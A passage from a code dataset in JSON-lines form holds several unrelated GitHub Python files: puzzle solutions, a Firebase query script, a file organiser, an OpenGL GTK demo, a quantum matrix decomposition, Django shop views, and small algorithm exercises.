maxp\n while(p >= 0):\n\n lower = lm(p-1)\n\n if(total > 0):\n one = 5**p\n if(one + lower < total ): # if this is true, we'll have to subtract later\n snafu = snafu + '2'\n total -= 2*(5**p)\n elif(lower < total): \n snafu = snafu + '1'\n total -= 5**p\n\n else:\n snafu = snafu + \"0\" \n\n elif(total < 0):\n one = 5**p\n if(one + lower < abs(total)):\n snafu = snafu + '='\n total += (2*(5**p))\n elif(lower < abs(total)):\n snafu = snafu + '-'\n total += 5**p\n\n else:\n snafu = snafu + \"0\"\n\n else:\n snafu = snafu + \"0\"\n\n p -= 1\n\n return snafu\n\ntestcase = False\nif testcase:\n file = \"test.txt\"\nelse:\n file = \"input.txt\"\n\nwith open(file, \"r\") as stuff:\n lines = stuff.read().splitlines()\n\n total = 0\n for line in lines:\n total += Convert_to_Decimal(line)\n\n# snafu = Convert_to_Snafu(total)\n\n# print(\"We want\", Convert_to_Decimal('1-0---0'))\n\n# snafu = Convert_to_Snafu(12345)\n snafu = Convert_to_Snafu(total)\n\n print(\"Rnd1:\",total)\n print(\"Rnd1 SNAFU:\",snafu)\n\n","repo_name":"dopheide-esnet/aoc2022","sub_path":"25/aoc25.py","file_name":"aoc25.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"30521326709","text":"import requests\nimport json\nimport sys\n\ndef churned_customers(k):\n database_url = 'https://dsci-551-eee46-default-rtdb.firebaseio.com/users.json?orderBy=\"Churn\"&equalTo=\"Yes\"&limitToFirst=' + k\n r = requests.get(database_url)\n results = json.loads(r.content)\n customer_ids = []\n for customer in results.keys():\n customer_ids.append(results[customer][\"customerID\"])\n\n customer_ids = sorted(customer_ids)\n for id in customer_ids:\n print(id)\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 2:\n churned_customers(sys.argv[1])\n else:\n print(\"Please provide the correct arguments\")\nelse:\n print(\"Please run this program from the command line\")","repo_name":"vutruong99/USC-DSCI-551","sub_path":"hw1/Vu_TruongSi_churn.py","file_name":"Vu_TruongSi_churn.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"38234837328","text":"import os\nimport time\nimport shutil\nfrom datetime import datetime\n\ndate_files = {}\ndate_folders = []\nlist_of_files = []\nfolder = \"\"\n\n\ndef check_and_add(lst_to_check, thing):\n perm = True\n for e in lst_to_check:\n if e == thing:\n perm = False\n if perm:\n lst_to_check.append(thing)\n return lst_to_check\n\n\ndef make_dir_from_lst(lst_of_names, place_of_folders):\n\n for folder_name in lst_of_names:\n dir_ = folder_name\n parent_dir = place_of_folders\n path = os.path.join(parent_dir, dir_)\n try:\n os.mkdir(path)\n except FileExistsError:\n print(\"Chyba sie zagalopowales, bo taki folderek już istenieje!\")\n return\n\n\nprint(\"Hello in File Binder !\")\ninput_error = 0\nwhile input_error == 0:\n input_error = 1\n print(r\"Example of link to folder: C:\\Users\\Dziki_ryk\\Desktop\\My_photos\")\n folder = input(\"Please, put here link to folder with your files! : \")\n try:\n list_of_files = os.listdir(folder)\n except FileNotFoundError:\n print(\"Problem with your folder address, please check and try again \")\n input_error = 0\n# for the anyone part of list:\nfor src in list_of_files:\n # here we join file name to fille address\n full_src = os.path.join(folder, src)\n if os.path.isfile(full_src):\n # time.ctime converse seconds to %a %b %d %H:%M:%S %Y format\n date_of_birth_file = time.ctime(os.stat(full_src).st_mtime)\n # here we create datetimeobject in datetime type\n datetimeobject = datetime.strptime(date_of_birth_file, '%a %b %d %H:%M:%S %Y')\n # converting to format what we need :D\n newformat = datetimeobject.strftime('%Y - %m')\n date_files[src] = newformat\n # below checking if date_folders is empty - if yes, we add newformat\n # even lower checking, if value of newformat exist in date_folders\n if len(date_folders) == 0:\n date_folders.append(newformat)\n else:\n date_folders = check_and_add(date_folders, newformat)\n\nmake_dir_from_lst(date_folders, folder)\n\nfor my_file in date_files:\n full_src = os.path.join(folder, my_file)\n if os.path.isfile(full_src):\n dst = os.path.join(folder, date_files[my_file])\n shutil.move(full_src, dst)\n\nprint(\"Done! Bye! <3\")\n","repo_name":"VonShodan/Files_Binder","sub_path":"FBinder.py","file_name":"FBinder.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"8656353126","text":"#!/usr/bin/env python\n\n'''\nShapes.py\n\nThis program is based upon the shapes.c demo by Naofumi. This is not a\nstraight conversion from C to Python. The original idea of displaying\ndifferent shapes have been retained but here a range of widgets are\nused to demonstrate the use of OpenGL in conjunction with a variety of\nGtk+ widgets. You can use sliders to rotate the object and change colours\nfor the foreground and background using the standard Gtk+ colour\nselection dialog.\n\nAlif Wahid, March, 2003\n\n'''\n\nimport sys\n\nimport pygtk\npygtk.require('2.0')\nfrom gtk.gtkgl.apputils import *\n\nfrom OpenGL.GLE import *\n\n# Implement the GLScene interface\n# to have a shape rendered.\n\nclass Shapes(GLScene,\n GLSceneButton,\n GLSceneButtonMotion):\n \n def __init__(self):\n GLScene.__init__(self,\n gtk.gdkgl.MODE_RGB |\n gtk.gdkgl.MODE_DEPTH |\n gtk.gdkgl.MODE_DOUBLE)\n \n self.light_ambient = [0.0, 1.0, 0.0, 1.0]\n self.light_diffuse = [1.0, 1.0, 1.0, 1.0]\n self.light_specular = [1.0, 1.0, 1.0, 1.0]\n self.light_position = [1.0, 1.0, 1.5, 0.0]\n \n self.mat_ambient = [0.2, 0.2, 0.2, 1.0]\n self.mat_diffuse = [0.8, 0.8, 0.8, 1.0]\n self.mat_specular = [1.0, 0.0, 1.0, 1.0]\n self.mat_shininess = 50.0\n \n self.depth = 105.0\n \n self.rotx = 0\n self.roty = 0\n self.rotz = 0\n \n self.beginx = 0\n self.beginy = 0\n \n # Empirically derived value for the background\n # to make it the same colour as the background\n # of all the widgets. This way the shapes will\n # appear as though they have been drawn on top\n # of the current window. It's specific to the\n # default Gtk+-2.2 theme only though. You can\n # also assign the current colour of any part of\n # the window from the colourselection dialog\n # by using the eye dropper. That's how I derived\n # at these values for guiBg.\n self.guiBg = [0.8627, 0.8549, 0.8353]\n self.colourFg = [1.0, 0.0, 0.0]\n self.colourBg = self.guiBg\n \n self.is_solid = False\n \n self.__drawShape = { 'Helicoid' : self.__draw_helicoid,\n 'Teapot' : self.__draw_teapot,\n 'Torus' : self.__draw_torus,\n 'Sphere' : self.__draw_sphere,\n 'Cube' : self.__draw_cube,\n 'Cone' : self.__draw_cone,\n 'Tetrahedron' : self.__draw_tetrahedron,\n 'Octahedron' : self.__draw_octahedron,\n 'Dodecahedron' : self.__draw_dodecahedron,\n 'Icosahedron' : self.__draw_icosahedron }\n self.currentShape = 'Sphere'\n self.availableShapes = self.__drawShape.keys()\n \n # Private methods that are used in the expose\n # method in a transparent manner to provide the\n # underlying rendering for a specific shape.\n def __draw_icosahedron(self):\n glPushMatrix()\n glScalef(12.0, 12.0, 12.0)\n gtk.gdkgl.draw_icosahedron(self.is_solid)\n glPopMatrix()\n \n def __draw_dodecahedron(self):\n glPushMatrix()\n glScalef(10.0, 10.0, 10.0)\n gtk.gdkgl.draw_dodecahedron(self.is_solid)\n glPopMatrix()\n \n def __draw_octahedron(self):\n glPushMatrix()\n glScalef(12.0, 12.0, 12.0)\n gtk.gdkgl.draw_octahedron(self.is_solid)\n glPopMatrix()\n \n def __draw_tetrahedron(self):\n glPushMatrix()\n glScalef(12.0, 12.0, 12.0)\n gtk.gdkgl.draw_tetrahedron(self.is_solid)\n glPopMatrix()\n \n def __draw_cone(self):\n gtk.gdkgl.draw_cone(self.is_solid, 6.0, 12.0, 30, 30)\n \n def __draw_cube(self):\n gtk.gdkgl.draw_cube(self.is_solid, 12)\n \n def __draw_helicoid(self):\n gleSetJoinStyle(TUBE_NORM_EDGE | TUBE_JN_ANGLE | TUBE_JN_CAP)\n gleHelicoid(1.0, 5.0, 1.0, -15.0, 6.0, None, None, 0.0, 1800.0)\n \n def __draw_teapot(self):\n gtk.gdkgl.draw_teapot(self.is_solid, 11.0)\n \n def __draw_torus(self):\n gtk.gdkgl.draw_torus(self.is_solid, 3.0, 12.0, 30, 30)\n \n def __draw_sphere(self):\n gtk.gdkgl.draw_sphere(self.is_solid, 12.0, 30, 30);\n \n # GLSceneInterface implementation.\n def init(self):\n glClearDepth(1.0)\n glClearColor(self.colourBg[0], self.colourBg[1], self.colourBg[2], 0.0)\n glColorMaterial(GL_FRONT_AND_BACK, GL_DIFFUSE)\n \n # The material properties are constant at this\n # stage, but if they need to be user selectable\n # then it'll be better to move these 4 calls\n # to the 'expose' method. That way everytime\n # the scene is rendered any change in materials\n # will be automatically detected without the\n # need for calling 'realize'.\n glMaterial(GL_FRONT, GL_AMBIENT, self.mat_ambient)\n glMaterial(GL_FRONT, GL_DIFFUSE, self.mat_diffuse)\n glMaterial(GL_FRONT, GL_SPECULAR, self.mat_specular)\n glMaterial(GL_FRONT, GL_SHININESS, self.mat_shininess)\n \n glLight(GL_LIGHT0, GL_AMBIENT, self.light_ambient)\n glLight(GL_LIGHT0, GL_DIFFUSE, self.light_diffuse)\n glLight(GL_LIGHT0, GL_SPECULAR, self.light_specular)\n glLight(GL_LIGHT0, GL_POSITION, self.light_position)\n \n glLightModel(GL_LIGHT_MODEL_AMBIENT, self.light_ambient)\n glShadeModel(GL_SMOOTH)\n \n glDepthFunc(GL_LESS)\n \n glFrontFace(GL_CW)\n \n glEnable(GL_AUTO_NORMAL)\n glEnable(GL_NORMALIZE)\n glEnable(GL_LIGHTING)\n glEnable(GL_LIGHT0)\n glEnable(GL_DEPTH_TEST)\n glEnable(GL_COLOR_MATERIAL)\n \n def display(self, width, height):\n # Set the background colour first as the user has\n # the option of changing it, so we need to take that\n # into account during every expose event.\n glClearColor(self.colourBg[0], self.colourBg[1], self.colourBg[2], 0.0)\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n \n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n glTranslatef(0.0, 0.0, -self.depth)\n glRotate(self.rotx, 1, 0, 0)\n glRotate(self.roty, 0, 1, 0)\n glRotate(self.rotz, 0, 0, 1)\n \n # Set the foreground colour as the user has\n # the option of changing it, so we need to take that\n # into account during every expose event.\n glColor(self.colourFg)\n self.__drawShape[self.currentShape]()\n \n def reshape(self, width, height):\n glViewport(0, 0, width, height)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n \n # Calculate left/right and top/bottom clipping planes based on\n # the smallest square viewport.\n a = 13.0/min(width, height)\n clipping_planes = (a*width, a*height)\n # Setup the projection\n glFrustum(-clipping_planes[0], clipping_planes[0],\n -clipping_planes[1], clipping_planes[1],\n 50.0, 150.0)\n \n def button_press(self, width, height, event):\n self.beginx = event.x\n self.beginy = event.y\n \n def button_release(self, width, height, event):\n pass\n \n def button_motion(self, width, height, event):\n if event.state == gtk.gdk.BUTTON1_MASK:\n self.rotx = self.rotx + ((event.y-self.beginy)/width)*360.0\n self.roty = self.roty + ((event.x-self.beginx)/height)*360.0\n elif event.state == gtk.gdk.BUTTON2_MASK:\n self.depth = self.depth - ((event.y-self.beginy)/(height))*50.0;\n \n if self.depth > 130.0: self.depth = 130.0;\n elif self.depth < 80.0: self.depth = 80.0;\n \n self.beginx = event.x\n self.beginy = event.y\n \n self.queue_draw()\n\n\n# A window to show the Shapes scene\n# in a GLArea widget along with two\n# sliders for rotating the shape rendered\n# in the scene. The shape can also be\n# rotated using mouse button drag motion.\n\nclass ShapesWindow(gtk.Window):\n def __init__(self):\n gtk.Window.__init__(self)\n \n # Set self attfibutes.\n self.set_title('Shapes')\n self.set_position(gtk.WIN_POS_CENTER_ALWAYS)\n self.connect('destroy', lambda quit: gtk.main_quit())\n if sys.platform != 'win32':\n self.set_resize_mode(gtk.RESIZE_IMMEDIATE)\n self.set_reallocate_redraws(True)\n \n # Create the table that will hold everything.\n self.table = gtk.Table(3, 3)\n self.table.set_border_width(5)\n self.table.set_col_spacings(5)\n self.table.set_row_spacings(5)\n self.table.show()\n self.add(self.table)\n \n # The Shapes scene and the\n # GLArea widget to\n # display it.\n self.shape = Shapes()\n self.glarea = GLArea(self.shape)\n self.glarea.set_size_request(300,300)\n self.glarea.show()\n self.table.attach(self.glarea, 1, 2, 0, 1)\n \n # 3 Frames showing rotation sliders\n self.zframe = gtk.Frame('Z-Axis')\n self.zframe.show()\n self.zfbox = gtk.VBox()\n self.zfbox.set_border_width(10)\n self.zfbox.show()\n self.zadj = gtk.Adjustment(0.0, -360.0, 360.0, 5.0, 20.0, 0.0)\n self.zadj.connect('value_changed', self.zchanged)\n self.zscale = gtk.VScale(self.zadj)\n self.zscale.set_value_pos(gtk.POS_LEFT)\n self.zscale.show()\n self.zfbox.add(self.zscale)\n self.zframe.add(self.zfbox)\n self.table.attach(self.zframe, 0, 1, 0, 1,\n xoptions=gtk.FILL, yoptions=gtk.FILL)\n \n self.xframe = gtk.Frame('X-Axis')\n self.xframe.show()\n self.xfbox = gtk.VBox()\n self.xfbox.set_border_width(10)\n self.xfbox.show()\n self.xadj = gtk.Adjustment(0.0, -360.0, 360.0, 5.0, 20.0, 0.0)\n self.xadj.connect('value_changed', self.xchanged)\n self.xscale = gtk.VScale(self.xadj)\n self.xscale.set_value_pos(gtk.POS_RIGHT)\n self.xscale.show()\n self.xfbox.add(self.xscale)\n self.xframe.add(self.xfbox)\n self.table.attach(self.xframe, 2, 3, 0, 1,\n xoptions=gtk.FILL, yoptions=gtk.FILL)\n \n self.yframe = gtk.Frame('Y-Axis')\n self.yframe.show()\n self.yfbox = gtk.VBox()\n self.yfbox.set_border_width(10)\n self.yfbox.show()\n self.yadj = gtk.Adjustment(0.0, -360.0, 360.0, 5.0, 20.0, 0.0)\n self.yadj.connect('value_changed', self.ychanged)\n self.yscale = gtk.HScale(self.yadj)\n self.yscale.set_value_pos(gtk.POS_TOP)\n self.yscale.show()\n self.yfbox.add(self.yscale)\n self.yframe.add(self.yfbox)\n self.table.attach(self.yframe, 1, 2, 1, 2,\n xoptions=gtk.FILL, yoptions=gtk.FILL)\n \n # A box to hold some control interface stuff.\n self.cbox = gtk.HBox(True, spacing=10)\n self.cbox.show()\n self.table.attach(self.cbox, 1, 2, 2, 3,\n xoptions=gtk.FILL, yoptions=gtk.FILL)\n \n # A frame showing some colour changing buttons.\n self.colourFrame = gtk.Frame('Change Colour')\n self.colourFrame.show()\n self.cbox.pack_start(self.colourFrame)\n \n self.fbox1 = gtk.VBox()\n self.fbox1.set_border_width(10)\n self.fbox1.show()\n self.colourFrame.add(self.fbox1)\n \n self.colourButtonFg = gtk.Button('Foreground')\n self.colourButtonFg.connect('clicked', self.changeColourFg)\n self.colourButtonFg.show()\n self.fbox1.pack_start(self.colourButtonFg, expand=True, padding=5)\n \n self.colourButtonBg = gtk.Button('Background')\n self.colourButtonBg.connect('clicked', self.changeColourBg)\n self.colourButtonBg.show()\n self.fbox1.pack_start(self.colourButtonBg, expand=True, padding=5)\n \n # A frame holding menu and checkbutton for\n # changing the current shape attributes.\n self.shapeFrame = gtk.Frame('Shape Attrubutes')\n self.shapeFrame.show()\n self.cbox.pack_start(self.shapeFrame)\n \n self.fbox2 = gtk.VBox()\n self.fbox2.set_border_width(10)\n self.fbox2.show()\n self.shapeFrame.add(self.fbox2)\n # This is the option menu that lets the\n # user change the shape.\n self.shapeOptions = gtk.combo_box_new_text()\n for shape in self.shape.availableShapes:\n self.shapeOptions.append_text(shape)\n self.shapeOptions.connect('changed', self.shapeChanged)\n self.shapeOptions.set_active(0)\n self.shapeOptions.show()\n self.fbox2.pack_start(self.shapeOptions, expand=True, padding=5)\n \n self.solidButton = gtk.CheckButton('Solid Shape')\n self.solidButton.connect('toggled', self.shapeSolidityToggled)\n self.solidButton.show()\n self.fbox2.pack_start(self.solidButton, expand=True, padding=5)\n \n def shapeChanged(self, option):\n self.shape.currentShape = self.shape.availableShapes[self.shapeOptions.get_active()]\n self.glarea.queue_draw()\n \n def shapeSolidityToggled(self, button):\n self.shape.is_solid = not self.shape.is_solid\n self.glarea.queue_draw()\n \n def changeColourBg(self, button):\n dialog = gtk.ColorSelectionDialog(\"Changing colour of Background\")\n dialog.set_transient_for(self)\n \n colorsel = dialog.colorsel\n colorsel.set_has_palette(True)\n \n response = dialog.run()\n if response == gtk.RESPONSE_OK:\n colour = colorsel.get_current_color()\n self.shape.colourBg = [colour.red/65535.0, colour.green/65535.0, colour.blue/65535.0]\n self.glarea.queue_draw()\n \n dialog.destroy()\n \n def changeColourFg(self, button):\n dialog = gtk.ColorSelectionDialog(\"Choose colour of Object\")\n dialog.set_transient_for(self)\n \n colorsel = dialog.colorsel\n colorsel.set_has_palette(True)\n \n response = dialog.run()\n if response == gtk.RESPONSE_OK:\n colour = colorsel.get_current_color()\n self.shape.colourFg = [colour.red/65535.0, colour.green/65535.0, colour.blue/65535.0]\n self.glarea.queue_draw()\n \n dialog.destroy()\n \n def zchanged(self, zadj):\n self.shape.rotz = zadj.value\n self.glarea.queue_draw()\n \n def xchanged(self, zadj):\n self.shape.rotx = zadj.value\n self.glarea.queue_draw()\n \n def ychanged(self, yadj):\n self.shape.roty = yadj.value\n self.glarea.queue_draw()\n \n def run(self):\n self.show()\n gtk.main()\n\n\nif __name__ == '__main__':\n app = ShapesWindow()\n app.run()\n","repo_name":"Distrotech/pygtkglext","sub_path":"examples/Shapes.py","file_name":"Shapes.py","file_ext":"py","file_size_in_byte":15116,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"2436774462","text":"# Decomposition of a matrix into two level forms \n# Given a unitary matrix U decompose it into U = V1V2...Vk\n\nimport numpy as np \nimport math \n\n# VSET = [] # set of Vi's.........................................................................add\n\ndef star(x): \n\treturn x.conjugate() \n\ndef Iden(l):\n\treturn np.identity(l,dtype='complex')\n\ndef level_up(U,dim,l): # level up the matrix(l) to dim = dim \n\tY = Iden(dim)\n\tpad = dim-l\n\tfor i in range(l):\n\t\tfor j in range(l):\n\t\t\tY[i+pad][j+pad] = U[i][j]\n\treturn Y \t\n\t\ndef level_down(U,dim,l): # one-level-down \n\tY = Iden(l-1) # lower one-level down \n\ti = 1 \n\tj = 1 \n\twhile(i < l):\n\t\tj=1\n\t\twhile(j < l):\n\t\t\tY[i-1][j-1] = U[i][j]\t\t\t\n\t\t\tj=j+1\n\t\ti=i+1\n\treturn Y\n\ndef norm(a,b):\n\treturn math.sqrt((abs(a)**2 + abs(b)**2))\n#......................................................DEBUG ENDS >........................................................\ndef TLD(VSET,X,dim,l): # Gate U , dimension U ,level = l \n#\tif(np.allclose(X,Iden(dim))== True):#matrix converts into I \n#\t\treturn VSET \n\tif(l == 1):\n\t\t#print(np.allclose(X,Iden(dim)))\n\t\tY = Iden(dim)\n\t\tY[dim-1][dim-1] = star(X[dim-1][dim-1]) \n\t\tVSET.append(Y) # last crucial step\n\t\treturn VSET\n\ti = 1 \n\tpad = dim-l\t\n\twhile(i <= l-1): # for one-level down\n\t\tif(np.allclose(X[i+pad][0+pad],0) == True):\n\t\t\ti = i + 1\n\t\t\tcontinue \n\t\tV = Iden(dim) # identity of dim=l\n\t\ta = X[0+pad][0+pad]\n\t\tb = X[i+pad][0+pad]\t\n\t\tV[0+pad][0+pad] = star(a)/norm(a,b) \n\t\tV[i+pad][0+pad] = b/norm(a,b)\n\t\tV[0+pad][i+pad] = star(b)/norm(a,b)\n\t\tV[i+pad][i+pad] = -1.0*a/norm(a,b)\n\t\t\n\t\tX = np.matmul(V,X)\n\t\t\n\t\t#print(X)\n\t\t#print(V)\t\t\t\n\t\tVSET.append(V)\n\t\ti = i + 1\n\t#print(\"LEVEL:\",l)\n\t#X = level_down(X,dim,l)\n\t#print(X)\n\treturn TLD(VSET,X,dim,l-1)\ndef dcmp(U,dim):\n\tVSET = [] # reset VSET \n\treturn TLD(VSET,U,dim,dim)\n# ..............................................CHECKED...............................................................\n#X = U \n#print(\"Original MATRIX U \\n\\n\",X,\"\\n\")\n#VSET = []\n# print(TLD(X,4,4))\n","repo_name":"DEBARGHYA4469/quantum-compiler","sub_path":"Synthesis_of_Gates/two_level_decompose.py","file_name":"two_level_decompose.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"20"} +{"seq_id":"488326848","text":"from rest_framework.permissions import IsAuthenticated\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .serializers import ProductsSerializer\nfrom rest_framework.views import APIView\nfrom .models import Products\n\n\nclass ProductsView(APIView):\n \"\"\"Manege product in the database\"\"\"\n\n permission_classes = [IsAuthenticated]\n\n def post(self, request):\n \"\"\"Create new product\"\"\"\n serializer = ProductsSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(\n {\"status\": \"success\", \"data\": serializer.data},\n status=status.HTTP_200_OK,\n )\n else:\n return Response(\n {\"status\": \"error\", \"data\": serializer.errors},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n def get(self, request):\n \"\"\"Retrive the products\"\"\"\n items = Products.objects.all()\n serializer = ProductsSerializer(items, many=True)\n return Response(\n {\"status\": \"success\", \"data\": serializer.data}, status=status.HTTP_200_OK\n )\n\n def patch(self, request, id=None):\n \"\"\"Update product based on id\"\"\"\n try:\n item = Products.objects.get(id=id)\n serializer = ProductsSerializer(item, data=request.data, partial=True)\n if serializer.is_valid():\n serializer.save()\n return Response({\"status\": \"success\", \"data\": serializer.data})\n else:\n return Response({\"status\": \"error\", \"data\": serializer.errors})\n except Products.DoesNotExist:\n return Response({\"status\": \"error\", \"data\": f\"id => {id} does not exist\"})\n\n def delete(self, request, id=None):\n \"\"\"Delete product based on id\"\"\"\n item = get_object_or_404(Products, id=id)\n item.delete()\n return Response({\"status\": \"success\", \"data\": \"Item Deleted\"})\n","repo_name":"emncan/django_app","sub_path":"app/products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"24120041404","text":"from collections import deque\n\n\nN, M = map(int, input().split())\n\ngraph = [list(map(int, input())) for _ in range(N)]\n\n# direction\ndx = [-1, 1, 0, 0]\ndy = [0, 0 , -1, 1]\n\n\ndef bfs(x, y):\n queue = deque()\n queue.append((x, y))\n\n while queue:\n x, y = queue.popleft()\n\n # 상하좌우 탐색\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n\n # 미로를 벗어난 겨우 무시\n if (nx < 0) or (ny < 0) or (nx >= N) or (ny >= M):\n continue\n\n # 벽인 경우 무시\n if graph[nx][ny] == 0:\n continue\n\n # 첫방문인 경우에만 최단 거리 기록\n if graph[nx][ny] == 1:\n graph[nx][ny] = graph[x][y] + 1\n queue.append((nx, ny))\n \n return graph[N - 1][M -1]\n\n\nprint(bfs(0, 0))\n","repo_name":"shovelingpig/algorithm-practice","sub_path":"reference/dfs_bfs/advanced_bfs.py","file_name":"advanced_bfs.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"26508769473","text":"import random\nimport math\nfrom prettytable import PrettyTable\nfrom tabulate import tabulate\n\nprint(\"\\n----- Rate the restaurant -------\")\nprint(\"-1: exit\")\nprint(\"Range 1 - 5, where 1 is very poor and 5 is very good\")\nnumber = 0\nvote = 0\ncounter = 0\nrating = 0\nn = 0\naverage = 0\n# rating the restaurant\nwhile counter != -1:\n try:\n vote = int(input(\"\\nVote (1-5): \"))\n if 1 < vote < 6:\n rating = (rating + vote)\n n += 1\n elif vote == -1:\n print(\"\\nExiting Program.\")\n counter = -1\n average = (rating / n)\n else:\n raise Exception\n except ValueError: # validate integer\n print(\"Requires an integer.\")\n except Exception: # validate range 1-5\n print(\"The value must be in the range 1-5\")\n\n\nresult = round(average, 2)\ny = PrettyTable()\ny.field_names = [\"Vote Quantity\", \"Average\"]\ny.add_row([n, result])\nprint(y)\n\nif 1 < result < 2:\n print(\"\\nFinal rate is: Very Poor\")\nelif 2 < result < 3:\n print(\"\\nFinal rate is: Poor\")\nelif 3 < result < 4:\n print(\"\\nFinal rate is: Good\")\nelif 4 < result < 5:\n print(\"\\nFinal rate is: Very Good\")\nelse:\n print(\"\\nFinal rate is: 0.\")","repo_name":"ruivergani/sdam","sub_path":"week10-Exception-FileHandling/restaurant_rating.py","file_name":"restaurant_rating.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"19506556902","text":"from django.shortcuts import render, render_to_response\nfrom django.template import Context\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.core.paginator import Paginator\nfrom django.db.models import F, Sum\nimport json\n\nfrom .models import Product, ImageProduct, Cart, Application\nfrom .forms import Ordering\nfrom Shop.utils import base_args\n\n# Create your views here.\ndef home(request, page=1, filt='all'):\n args = base_args(request)\n if request.method == 'GET' and filt != 'all':\n category = Product.objects.filter(category__name=filt)\n current_page = Paginator(category, 12)\n args['products'] = current_page.page(page)\n else:\n all_products = Product.objects.all()\n current_page = Paginator(all_products, 12)\n args['products'] = current_page.page(page)\n return render(request, 'product/home.html', args)\n\n\ndef prod_page(request, pk):\n args = base_args(request)\n if request.method == 'POST':\n if request.POST['operation'] == 'add':\n user_ip = request.META['REMOTE_ADDR'] \n prod = Product.objects.get(pk=pk)\n if Cart.objects.filter(user_ip=user_ip, product=prod).exists():\n cart = Cart.objects.get(user_ip=user_ip, product=prod)\n cart.count += 1\n cart.save()\n else:\n Cart(product=prod, price=prod.price, user_ip=user_ip).save()\n return HttpResponseRedirect(reverse('product:prod_page', args=(pk,)))\n args['product'] = Product.objects.get(pk=pk)\n args['gallery'] = ImageProduct.objects.filter(product=args['product'])\n return render(request, 'product/prod_page.html', args)\n\n\ndef cart(request):\n args = base_args(request)\n form = Ordering(request.POST or None)\n ip = request.META['REMOTE_ADDR']\n orders = Cart.objects.filter(user_ip=ip)\n if form.is_valid():\n fio = form.cleaned_data['fio']\n phone = form.cleaned_data['phone']\n mail = form.cleaned_data['mail']\n for order in orders:\n count = order.count\n price = order.product.price\n Application(fio=fio, phone=phone, mail=mail,\n product=order.product, count=count, sum_order=count*price).save()\n Cart.objects.filter(user_ip=ip).delete() \n return HttpResponseRedirect(reverse('product:cart', args=()))\n if request.method == 'POST':\n try:\n if 'del' in request.POST:\n sels = request.POST.getlist('select')\n if sels:\n for sel in sels:\n Cart.objects.get(user_ip=ip, product__pk=sel).delete()\n return HttpResponseRedirect(reverse('product:cart', args=()))\n if 'tov_count' in request.POST and 'tov_pk' in request.POST:\n count = request.POST['tov_count']\n pk = request.POST['tov_pk']\n order = Cart.objects.get(user_ip=ip, product__pk=pk)\n order.count = count\n order.save()\n ords = list(Cart.objects.filter(user_ip=ip))\n ord_sum = 0\n for o in ords:\n ord_sum += o.price*o.count\n args['sum'] = ord_sum\n return HttpResponse(json.dumps({\"sum\": ord_sum}), content_type=\"application/json\")\n except KeyError: print('ОШИБКА') \n ords = list(Cart.objects.filter(user_ip=ip))\n ord_sum = 0\n for o in ords:\n ord_sum += o.price*o.count\n args['sum'] = ord_sum\n args['form'] = Ordering()\n args['orders'] = orders \n return render(request, 'product/cart.html', args)\n","repo_name":"ayanin/Shop","sub_path":"product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"22711014116","text":"INP_FILE = \"input.dat\"\n\n\ndef print_lcs(table, x, y):\n i = len(y)\n j = len(x)\n st = \"\"\n\n while i != 0 and j != 0:\n if table[i-1][j] == table[i][j-1]:\n cur_val = table[i][j]\n i -= 1\n j -= 1\n if table[i][j] != cur_val:\n st = x[j] + st\n elif table[i-1][j] < table[i][j-1]:\n j -= 1\n else:\n i -= 1\n print(st)\n\n\ndef lcs(x, y):\n len_x = len(x)\n len_y = len(y)\n table = []\n\n for i in range(len_y + 1):\n row = [0] * (len_x + 1)\n table.append(row)\n\n for i in range(len_y):\n for j in range(len_x):\n if y[i] == x[j]:\n table[i + 1][j + 1] = table[i][j] + 1\n else:\n table[i + 1][j + 1] = max(table[i][j + 1], table[i + 1][j])\n print_lcs(table, x, y)\n\n return table[len_y][len_x]\n\n\nif __name__ == \"__main__\":\n fin = open(INP_FILE, \"r\")\n x = fin.readline()[:-1]\n y = fin.readline()[:-1]\n fin.close()\n print(lcs(x, y))\n","repo_name":"PramodJose/Algorithms-S1","sub_path":"DynamicProgramming/longest_common_subsequence/lcs.py","file_name":"lcs.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"6416586595","text":"import sys\ninput= sys.stdin.readline\nn,k=map(int,input().split())\nword = []\n\n\nfor _ in range(n):\n word.append(set(input().rstrip()[4:-4]).difference('a','c','i','t','n'))\n #set으로만들어서 중복된 거 없애고 앞뒤 anta,tica 자름, 해당 원소도 미리 차집합으로 빼줌 oh 대박적\n \n\n","repo_name":"YoungeuNNN/algorithm","sub_path":"algorithm_practice1/1062_teaching.py","file_name":"1062_teaching.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"22851679501","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Dec 21 13:14:50 2017\r\n\r\n@author: 